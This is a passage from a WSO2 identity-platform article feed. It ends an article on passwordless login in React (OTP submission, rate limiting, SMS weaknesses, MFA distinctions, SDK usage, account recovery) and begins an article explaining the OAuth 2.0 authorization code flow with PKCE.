195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">one-time-code</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">maxLength</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript number" style="color:rgb(170, 9, 130)">6</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><br></span></code></pre></div></div>
<p>Then submit the value normally:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/auth/otp/verify"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">credentials</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"include"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    email</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    code</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="rate-limiting-and-resend">Rate limiting and resend<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#rate-limiting-and-resend" class="hash-link" aria-label="Direct link to Rate limiting and resend" title="Direct link to Rate limiting and resend" translate="no">​</a></h3>
<p>Now imagine your login page has this button: <code>Resend code</code>.</p>
<p>And absolutely nothing stopping someone from clicking it 500 times.</p>
<p>You have created both an abuse mechanism and, with SMS, potentially a very expensive button.</p>
<p>Your OTP service needs limits around:</p>
<ul>
<li class="">verification attempts,</li>
<li class="">resend attempts,</li>
<li class="">code lifetime,</li>
<li class="">requests per account,</li>
<li class="">requests per IP or other risk signals.</li>
</ul>
<p>Your UI should reflect those limits instead of pretending retries are unlimited:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">disabled</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">secondsRemaining </span><span class="token tag script language-javascript operator" style="color:rgb(12, 150, 155)">&gt;</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript number" style="color:rgb(170, 9, 130)">0</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">secondsRemaining </span><span class="token operator" style="color:rgb(12, 150, 155)">&gt;</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">0</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">?</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:rgb(72, 118, 214)">`</span><span class="token template-string string" style="color:rgb(72, 118, 214)">Resend in </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:rgb(153, 76, 195)">${</span><span class="token template-string interpolation">secondsRemaining</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token template-string string" style="color:rgb(72, 118, 214)">s</span><span class="token template-string template-punctuation string" style="color:rgb(72, 118, 214)">`</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Resend code"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><br></span></code></pre></div></div>
<p>The frontend timer is UX.</p>
<p>The server-side limit is security.</p>
<p>Do not confuse the two.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-sms-is-the-weakest-option">Why SMS is the weakest option<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#why-sms-is-the-weakest-option" class="hash-link" aria-label="Direct link to Why SMS is the weakest option" title="Direct link to Why SMS is the weakest option" translate="no">​</a></h3>
<p>SMS OTP is useful.</p>
<p>It is familiar, nearly universal and sometimes the only practical way to reach a user.</p>
<p>But it should not be treated as equivalent to a passkey.</p>
<p>SMS also introduces something email OTP doesn't: <strong>a direct delivery cost for every authentication attempt.</strong></p>
<p>That might be insignificant for a small application and very significant at consumer scale.</p>
<p>So if you're choosing between email and SMS OTP purely because both produce a six-digit code, you're looking at the least important similarity.</p>
<p>The channel behind the code is what matters.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="passwordless-and-mfa-are-not-the-same-thing">Passwordless and MFA are not the same thing<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#passwordless-and-mfa-are-not-the-same-thing" class="hash-link" aria-label="Direct link to Passwordless and MFA are not the same thing" title="Direct link to Passwordless and MFA are not the same thing" translate="no">​</a></h2>
<p>This deserves its own section because the terms get mixed together constantly.</p>
<p><strong>Passwordless</strong> tells you that authentication did not require a password.</p>
<p><strong>Multi-factor authentication</strong> tells you that authentication required more than one independent authentication factor.</p>
<p>Those are different properties.</p>
<p>A user signing in with only an email OTP is passwordless.</p>
<p>It is not automatically MFA.</p>
<p>A user signing in using a password and then an Email OTP is using MFA, but the authentication is obviously not passwordless.</p>
<p>And a passkey can have interesting authentication properties of its own, but you should not turn "uses biometrics" into the blanket claim that every passkey login is automatically equivalent to whatever MFA policy your organization requires.</p>
<p>Design the authentication flow according to the assurance you actually need.</p>
<p>Don't derive it from the marketing category the login method happens to sit under.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="implementing-with-asgardeoreact">Implementing with @asgardeo/react<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#implementing-with-asgardeoreact" class="hash-link" aria-label="Direct link to Implementing with @asgardeo/react" title="Direct link to Implementing with @asgardeo/react" translate="no">​</a></h2>
<p>Everything we've built so far was deliberately low level.</p>
<p>That was useful because now you know where the boundaries are:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">starts authentication</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Browser / delivery channel</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">interacts with the user</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Identity system</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">verifies authentication</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">gets an authenticated session</span><br></span></code></pre></div></div>
<p>If you're using WSO2 Identity Platform, you don't need to rebuild those ceremonies inside your React application.</p>
<p>The platform supports passwordless login methods such as Magic Link, Passkey, Email OTP and SMS OTP as configurable authentication options.</p>
<p>Your React integration remains refreshingly small.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"></span><br></span><span class="token-line" style="color:#403f53"><span class="token imports">  </span><span class="token imports maybe-class-name">AsgardeoProvider</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#403f53"><span class="token imports">  </span><span class="token imports maybe-class-name">SignInButton</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#403f53"><span class="token imports">  </span><span class="token imports maybe-class-name">SignedIn</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#403f53"><span class="token imports">  </span><span class="token imports maybe-class-name">SignedOut</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#403f53"><span class="token imports"></span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"@asgardeo/react"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">App</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedOut</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignInButton</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedOut</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedIn</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">Dashboard</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedIn</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>The important point is that there isn't a separate React passkey implementation hiding inside that button.</p>
<p>Your application starts authentication.</p>
<p>The <strong>login flow configured for the application</strong> determines whether the user sees a passkey, magic link, OTP, or another authentication method.</p>
<p>That is exactly the separation you want.</p>
<p>Your React code should care that a user became authenticated.</p>
<p>Your identity layer should care how that authentication happened.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="account-recovery-the-part-that-decides-whether-this-works">Account recovery: the part that decides whether this works<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#account-recovery-the-part-that-decides-whether-this-works" class="hash-link" aria-label="Direct link to Account recovery: the part that decides whether this works" title="Direct link to Account recovery: the part that decides whether this works" translate="no">​</a></h2>
<p>Let's finish with the part passwordless demos usually skip.</p>
<p>You have removed the password.</p>
<p>Great.</p>
<p>Now remove the user's phone.</p>
<p>Their laptop too.</p>
<p>And access to their old email account.</p>
<p>Can they still recover the account?</p>
<p>Every passwordless system eventually needs an answer to some version of that question.</p>
<p>For passkeys, synchronized credentials make ordinary device replacement considerably easier because credentials may be restored through the user's passkey provider.</p>
<p>But recovery still exists for the cases where those mechanisms are unavailable.</p>
<p>For magic links and Email OTP, recovery effectively inherits the recovery model of the email provider.</p>
<p>For SMS OTP, it inherits part of the recovery and account-transfer model of the mobile carrier.</p>
<p>And every fallback you add can weaken the stronger method sitting above it.</p>
<p>Imagine this authentication policy:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Primary:</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  Passkey</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Fallback:</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  Email OTP</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Recovery:</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  Email support request</span><br></span></code></pre></div></div>
<p>An attacker does not necessarily need to defeat the passkey.</p>
<p>They may simply attack the fallback.</p>
<p>That's why the hardest question in passwordless authentication isn't:</p>
<p><em>How do I remove the password?</em></p>
<p>It's:</p>
<p><em>What evidence will I trust when the user's normal authenticator is gone?</em></p>
<p>Answer that first.</p>
<p>Then choose the passwordless method.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>Passkeys, magic links and OTP can all remove the password field from your React application.</p>
<p>But that is almost where their similarities end.</p>
<p>Passkeys use public-key cryptography and give you the strongest phishing resistance of the three.</p>
<p>Magic links turn access to an email account into a very simple sign-in experience.</p>
<p>Email and SMS OTP provide an easy, familiar fallback when you don't want users to enroll another credential.</p>
<p>And React itself should stay relatively boring throughout all of this.</p>
<p>It starts the flow.</p>
<p>It presents the UI.</p>
<p>It carries the authentication result back and forth.</p>
<p>The identity system performs the actual verification.</p>
<p>If there is one design decision to make before writing any of that code, though, make it recovery.</p>
<p><strong>Pick your fallback before you pick your primary passwordless method.</strong></p>
<p>Because the strongest login ceremony in the world does not help much if the easiest way into the account is the recovery button underneath it.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[OAuth 2.0 and OIDC in React: The Authorization Code Flow with PKCE, Explained]]></title>
            <link>https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react</link>
            <guid>https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react</guid>
            <pubDate>Fri, 04 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[How the OAuth 2.0 authorization code flow with PKCE works in a React SPA, why the implicit flow died, and how to implement it correctly.]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction">Introduction<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#introduction" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h2>
<p>Every time a user clicks a "Sign In" button in your React app, it creates a small storm.</p>
<p>The browser jumps between URLs. Random-looking values appear in query parameters. Requests fly off to an identity server. Tokens come back. And a few seconds later, your app somehow knows exactly who the user is.</p>
<p>With a modern SDK like the WSO2 Identity Platform React SDK, all of that sits behind a single <code>&lt;SignInButton /&gt;</code> component. This is exactly the point of SDKs. Every time you need authentication, you shouldn't have to rebuild an entire authentication protocol.</p>
<p>In this article, we'll pull back the curtain and show you what's happening behind the scenes, not to bore you with facts, but to show you exactly what's happening so the next time someone asks you why your login page is safe, you'll have a much better answer than "the SDK handles it".</p>
<p>The flow we'll be following is <strong>Authorization Code Flow with PKCE</strong>, the OAuth 2.0 and OpenID Connect flow every React SPA needs to get right.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-oauth-20-and-how-is-it-different-from-openid-connect">What is OAuth 2.0 and how is it different from OpenID Connect<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#what-is-oauth-20-and-how-is-it-different-from-openid-connect" class="hash-link" aria-label="Direct link to What is OAuth 2.0 and how is it different from OpenID Connect" title="Direct link to What is OAuth 2.0 and how is it different from OpenID Connect" translate="no">​</a></h2>
<p>We're getting a little ahead of ourselves. Before we get into the Authorization Code Flow and PKCE, let's start with the basics: What is OAuth 2.0, and what is OpenID Connect?</p>
<p>These two terms are often mentioned together and sometimes even used interchangeably. But while they're closely related, they solve two very different problems.</p>
<p>Let's clear this up once and for all: OAuth 2.0 is about authorization, while OpenID Connect is about authentication.</p>
<p>The next two points will make that distinction a little easier to see.</p>
<ul>
<li class="">
<p><strong>OAuth 2.0</strong> is an <em>authorization</em> framework. It answers the question: "Can this application access this resource on behalf of this user?" The output of an OAuth 2.0 flow is an <strong>access token</strong>: a credential your app attaches to API requests to prove that the user has the permission to access this resource and perform the requested action.</p>
</li>
<li class="">
<p><strong>OpenID Connect (OIDC)</strong> is an <em>identity</em> layer built on top of OAuth 2.0. It answers a different question: "Who is this user?" OIDC standardizes how an app requests and verifies a user's identity, and its output is an <strong>ID token</strong>: a token containing claims like the user's name, email, and a unique subject identifier.</p>
</li>
</ul>
<p>Your React application needs both. You use OIDC to establish <em>who's</em> logged in (populate a user profile, decide what to render) and OAuth 2.0 access tokens to make authenticated calls to your backend APIs <em>on that user's behalf</em>.</p>
<p>To summarize,</p>
<table><thead><tr><th></th><th><strong>OAuth 2.0</strong></th><th><strong>OpenID Connect</strong></th></tr></thead><tbody><tr><td><strong>Answers</strong></td><td>Can this app access this resource on behalf of this user?</td><td>Who is this user?</td></tr><tr><td><strong>Concern</strong></td><td>Authorization</td><td>Authentication</td></tr><tr><td><strong>Primary output</strong></td><td>Access token</td><td>ID token</td></tr><tr><td><strong>Consumed by</strong></td><td>Your API, as a credential</td><td>Your React app, to establish identity</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-the-authorization-code-flow">What is the Authorization Code flow?<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#what-is-the-authorization-code-flow" class="hash-link" aria-label="Direct link to What is the Authorization Code flow?" title="Direct link to What is the Authorization Code flow?" translate="no">​</a></h2>
<p>The OAuth 2.0 specification defines several "flows", known formally as <strong>grant types</strong>, for obtaining tokens.</p>
<p>A grant type defines how your application communicates with the token issuer, such as an identity server, to get those tokens.</p>
<p>We won't go deep into every grant type defined in the OAuth 2.0 specification. Instead, we'll focus on the <strong>Authorization Code Flow</strong>, the subject of this article. Along the way, you'll also get a sense of how some older, less secure grant types worked and how the Authorization Code Flow addresses many of their shortcomings.</p>
<p>Before we get into the nitty-gritty, let's first look at how the Authorization Code grant works at a high level.</p>
<p><img decoding="async" loading="lazy" alt="Authorization Code Flow sequence diagram" src="https://wso2.com/identity-platform/learn/assets/images/1-e788df97ced398bcb3e106dd87485322.png" width="2048" height="1724" class="img_ev3q"></p>
<p>One thing you may have noticed in the flow diagram above is that the Authorization Code Flow doesn't send the access token or ID token directly to the application.</p>
<p>Instead, it first returns a short-lived authorization code, which the application then exchanges for tokens.</p>
<p><strong>Why the two step flow?</strong></p>
<p>When a user clicks sign in, the authorization request happens through the user's browser. If the access token returns from the browser-based flow, it could be exposed in the URL and potentially end up in places such as the browser history or referrer data.</p>
<p>A legacy grant type called the <strong>Implicit grant</strong> worked this way. Instead of returning an authorization code, it returned the access token directly through the browser redirect.</p>
<p>The Authorization Code Flow avoids that. Rather than sending the token through the redirect, the authorization server returns a short-lived, single-use authorization code. The application then exchanges that code for the actual tokens in a separate request.</p>
<p><strong>How is this more secure?</strong></p>
<p>The key difference is how the two steps travel.</p>
<p>The authorization code is returned through the browser redirect, where values can appear in the URL. The token exchange, however, is a separate HTTP request to the token endpoint. The tokens come back in the response body, not in the browser's address bar.</p>
<p>That means the access token and ID token stay out of the redirect URL, browser history, and referrer data. The only thing exposed on that first browser-facing leg is the short-lived authorization code.</p>
<p><strong>But..if that code travels through the browser, what stops someone from stealing it and exchanging it for the tokens?</strong> If that was your first thought, you're already one step ahead. For browser-based apps like React SPAs, the Authorization Code Flow alone isn't quite enough. It needs one more piece: PKCE.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-public-client-problem-and-how-pkce-solves-it">The public client problem, and how PKCE solves it<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#the-public-client-problem-and-how-pkce-solves-it" class="hash-link" aria-label="Direct link to The public client problem, and how PKCE solves it" title="Direct link to The public client problem, and how PKCE solves it" translate="no">​</a></h2>
<p>For conventional applications, the Authorization Grant Flow alone can be enough on its own. These applications can safely hold a secret, which the authorization server verifies along with the authorization code before issuing tokens.</p>
<p>But, anything shipped in a React app's JavaScript bundle is visible to anyone who opens their browser's devtools. If you embedded a client secret in your frontend code, it wouldn't be a secret anymore. This is why single-page applications are called <strong>public clients</strong>: clients that, by design, cannot hold a confidential secret.</p>
<p>Without a secret, the Authorization Code Flow has a gap: if an attacker somehow got hold of your app's authorization code they could exchange it for tokens themselves.</p>
<p>This is exactly the gap <strong>PKCE</strong> (Proof Key for Code Exchange, defined in <a href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener noreferrer" class="">RFC 7636</a>, pronounced "pixy") closes. Let's look at how PKCE solves this problem.</p>
<ol>
<li class="">
<p>Before sending the authorization request, your app generates a random secret in memory called the <strong>code verifier</strong>.</p>
</li>
<li class="">
<p>It then derives a <strong>code challenge</strong> from that verifier by hashing it with SHA-256 and Base64URL-encoding the result. Only the challenge is sent with the authorization request. The verifier stays with the app.</p>
</li>
<li class="">
<p>When the app later exchanges the authorization code for tokens, it sends the original code verifier along with the code.</p>
</li>
<li class="">
<p>The authorization server applies the same transformation to the verifier and compares the result with the code challenge from the original request. If they don't match, the token exchange is rejected.</p>
</li>
</ol>
<p>Because the code verifier never leaves your app until that final exchange, a stolen authorization code is useless to an attacker who doesn't also have the verifier. That four-step handshake is the entire React PKCE flow, and it's what lets a public client prove its identity without ever holding a secret.</p>
<p>PKCE was originally introduced to protect public clients like SPAs. The <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1" target="_blank" rel="noopener noreferrer" class="">OAuth 2.1 draft</a>, still an Internet-Draft and not yet a finalized standard, proposes to go further and require PKCE for all clients using the Authorization Code Flow, adding an extra layer of protection even when a client secret is available.</p>
<p>That, though, is a discussion for another day.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-authorization-code-flow-with-pkce-step-by-step">The Authorization Code Flow with PKCE, step by step<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#the-authorization-code-flow-with-pkce-step-by-step" class="hash-link" aria-label="Direct link to The Authorization Code Flow with PKCE, step by step" title="Direct link to The Authorization Code Flow with PKCE, step by step" translate="no">​</a></h2>
<p>By now, you should have a good idea of how the Authorization Code Flow with PKCE works at a high level. In this section, we'll take it one step further and look at what those requests actually look like.</p>
<p>Before we jump into the more detailed flow diagram, this time with the user's browser in the picture, let's quickly go over a few key pieces of information the application and identity server rely on.</p>
<ul>
<li class="">
